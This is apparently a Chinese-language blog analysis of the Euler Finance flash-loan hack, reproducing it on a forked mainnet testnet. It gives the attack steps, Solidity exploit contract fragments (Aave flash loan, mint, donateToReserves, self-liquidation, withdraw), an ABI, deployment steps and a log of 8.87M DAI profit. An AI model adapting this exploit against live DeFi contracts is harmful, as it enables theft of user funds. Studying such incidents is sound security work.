Euler Finance 闪电贷漏洞分析及复现
消息来源:
X 上的 PeckShield Inc.:“1/ @eulerfinance was exploited in a flurry of txs on Ethereum (one hack tx: https://t.co/L7ddZhHNq5), leading to the lost of ~$197m from the project.” / X (twitter.com)
被攻击者:Euler Labs🛢️🇬🇧 (@eulerfinance) / X (twitter.com)
攻击地址:
tx:0xc310a0affe2169d1f6feec1c63dbc7f7c62a887fa48795d327d4d2da2d6b111d
https://etherscan.io/tx/0xc310a0affe2169d1f6feec1c63dbc7f7c62a887fa48795d327d4d2da2d6b111d
合约代码:
Euler: Token | Address 0x27182842E098f60e3D576794A5bFFb0777E025d3 | Etherscan
ABI:
api.etherscan.io/api?module=contract&action=getabi&address=0x27182842E098f60e3D576794A5bFFb0777E025d3&format=raw
链上数据分析:
0xc310a0affe2169d1f6 | Phalcon Explorer
更加详细:
eth-0xc310a0affe2169d1f6feec1c63dbc7f7c62a887fa48795d327d4d2da2d6b111d | MetaSleuth
Transaction Tracer (openchain.xyz)
捐赠导致转换率不正确
Tracer有点卡 经常出现程序错误……
利用tenderly去分析
0xc310a0affe2169d1f6feec1c63dbc7f7c62a887fa48795d327d4d2da2d6b111d | Tenderly
主要是清算逻辑不正确
根据Ethereum Transaction Hash (Txhash) Details | Etherscan 中ERC-20 Tokens Transferred :all Transfers来看
黑客的主要攻击过程:
1 2 3 4 5 6 7 8 9 10
| 1.通过AaveV2的闪电贷借贷3000万DAI 2.创建两个帐户0x583c作为借款人,0xa0b3作为清算人 3.向借款人转账3000万DAI 4.借款人存款2000万DAI,铸币1.95亿DAI/ 2亿DAI。 5.借款人偿还10M DAI, dDAI余额减少10M。 6.借款人再次发行1.95M eDAI/ 200M dDAI 7.借款人捐赠100M eDAI以使头寸可变现并扭曲转化率 8.清算人清算借款人,获得310M eDAI 9.从eDAI撤回38.9M DAI。 10.偿还闪贷,盈利880万
|
0x583c : Euler Pool: Dai Stablecoin (eDAI) Token Tracker | Etherscan
黑客的主要攻击路径
(图片来自PeckShield) 当然自己也可以根据eth-0xc310a0affe2169d1f6feec1c63dbc7f7c62a887fa48795d327d4d2da2d6b111d | MetaSleuth分析
漏洞复现:
黑客闪电贷exp:Tutorials/EulerHack.sol at main · BuildBearLabs/Tutorials (github.com)
黑客exp分析
1.通过Aave的闪电贷借入3000万DAI。这可以通过使用以下合约来完成,其中 excuteHack 用于请求闪电贷,excuteOperation 由 Aave 的闪电贷合约调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| contract Main { DAI dai=DAI(0x6B175474E89094C44Da98b954EedeAC495271d0F); //DAI合约 Euler euler=Euler(0x27182842E098f60e3D576794A5bFFb0777E025d3); //Euler合约 AAVE aave=AAVE(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); //AAVE合约 address owner; address[] tokens; uint256[] nums1; uint256[] nums2; function excuteHack() public{ tokens.push(address(dai)); nums1.push(30000000000000000000000000); nums2.push(0); aave.flashLoan(address(this),tokens,nums1,nums2,address(this),hex"",0); } constructor(){ owner =msg.sender; } function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external returns (bool){ dai.approve(address(aave),type(uint256).max); return true; }
|
2.部署了一个智能合约,并向其转移了 2000 万个 DAI。在 executeOperation 函数中添加此操作
1 2 3 4 5 6 7 8 9 10 11 12 13
| function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external returns (bool){ LendContract lendcontract=new LendContract(address(this)); dai.approve(address(aave),type(uint256).max); dai.transfer(address(lendcontract),nums1[0]); lendcontract.exp(); return true; }
|
3.使用智能合约存入 2000 万 DAI,铸造 1.95 亿 eDAI / 2 亿 dDAI。借款人在偿还1000万DAI后,铸造了1.95亿eDAI/2亿dDAI,并捐赠了1亿eDAI,使头寸可变现并改变了兑换率,还在功能中加入了变现智能合约部署脚本。
1 2 3 4 5 6 7 8 9 10 11
| function exp() public{ liquidationContract liquidation_C=new liquidationContract(address(this),mainContractAddress); dai.balanceOf(address(this)); dai.approve(address(euler),type(uint256).max); edai.deposit(0,20000000000000000000000000); edai.mint(0,200000000000000000000000000); ddai.repay(0,10000000000000000000000000); edai.mint(0,200000000000000000000000000); edai.donateToReserves(0,100000000000000000000000000); liquidation_C.exp(); }
|
4.然后调用清算功能,启动清算过程,获得 3.1 亿 dDAI 和 2.5 亿 eDAI。最后,攻击者调用了提现功能,获得了3890万DAI,用于偿还通过闪电贷借入的3000万DAI。他们获利887万。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| function exp() public{ PROXY.LiquidationOpportunity memory s=PROXY.LiquidationOpportunity({ repay:0, yield:0, healthScore:0, baseDiscount:0, discount:0, conversionRate:0 }); s=proxy.checkLiquidation(address(this),lendcontractAddress,address(dai),address(dai)); proxy.liquidate(lendcontractAddress,address(dai),address(dai),s.repay,250000000000000000000000000); edai.withdraw(0,38900000000000000000000000); dai.transfer(address(MainAddress),38900000000000000000000000); }
|
攻击过程复现
分叉主网模拟
可以在本地模拟测试:Fork 🍴 the Fing Ethereum Blockchain! Transfer tokens from Vitalik’s Account ;) | by Pari Tomar | BuildBear Labs | Medium — 分叉 🍴 Fing 以太坊区块链!从 Vitalik 的账户转移代币;) |由 Pari Tomar |BuildBear 实验室 |中等
本次通过BuildBeer来进行
我们可以通过Home - BuildBear 来创建一个从 16817993 分叉以太坊来创建一个私有测试网
然后通过水龙头获取BB 比如我的水龙头Faucet - BuildBear 我用1w个BB
部署攻击合约并执行
代码:https://github.com/BuildBearLabs/Tutorials/blob/main/EulerHack.sol
在Remix编译并且部署
我的ABI为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| [ { "inputs": [], "stateMutability": "nonpayable", "type": "constructor" }, { "inputs": [], "name": "excuteHack", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address[]", "name": "assets", "type": "address[]" }, { "internalType": "uint256[]", "name": "amounts", "type": "uint256[]" }, { "internalType": "uint256[]", "name": "premiums", "type": "uint256[]" }, { "internalType": "address", "name": "initiator", "type": "address" }, { "internalType": "bytes", "name": "params", "type": "bytes" } ], "name": "executeOperation", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "getdai", "outputs": [], "stateMutability": "nonpayable", "type": "function" } ]
|
我的Deployed contract为:0x7D503BFB8c5D3645145093A2df82aB66a0fCEce9
https://explorer.buildbear.io/raspy-sebulba-83393420/address/0x7D503BFB8c5D3645145093A2df82aB66a0fCEce9
并在Contract中粘贴保存ABI
去写入excuteHack 函数以执行 hack (需要一定时间)
完成
https://explorer.buildbear.io/raspy-sebulba-83393420/tx/0xb2265424ab09523af2ea083af6479b954ddcbd61311f1221770f9082b9b3ea9d
最后调用 getdai()函数并将合约中剩余的 DAI 转移到我们的地址
https://explorer.buildbear.io/raspy-sebulba-83393420/tx/0x7133db82d0215a7a14cde775d5b5268c65de0c1de58dc6a86ac5c21194b1503f
1 2 3 4 5 6 7
| Token Transfered: From: 0x7D503BFB8c5D3645145093A2df82aB66a0fCEce9 To: 0x0Be90bEEE4D5DCD0F21320E68335c20b06ADBcFa Amount: 8873000.0 DAI
|
我们可以看到我们获得了880 万 DAI
DAI合约地址:0x6B175474E89094C44Da98b954EedeAC495271d0F
整个过程分析模拟完毕。
参考:
X 上的 PeckShield Inc.:“4/ Two hackers were involved in the attack: 0x5F2…8B8c and 0xBcA…7c5C. And here comes the flow of stolen funds https://t.co/6jTBlfSNgJ” / X (twitter.com)
Euler Finance’s 196 Million Flash Loan Exploit | Learn how to re-do the hack (buildbear.io)
Euler Finance hacked for over $195M in a flash loan attack (cointelegraph.com)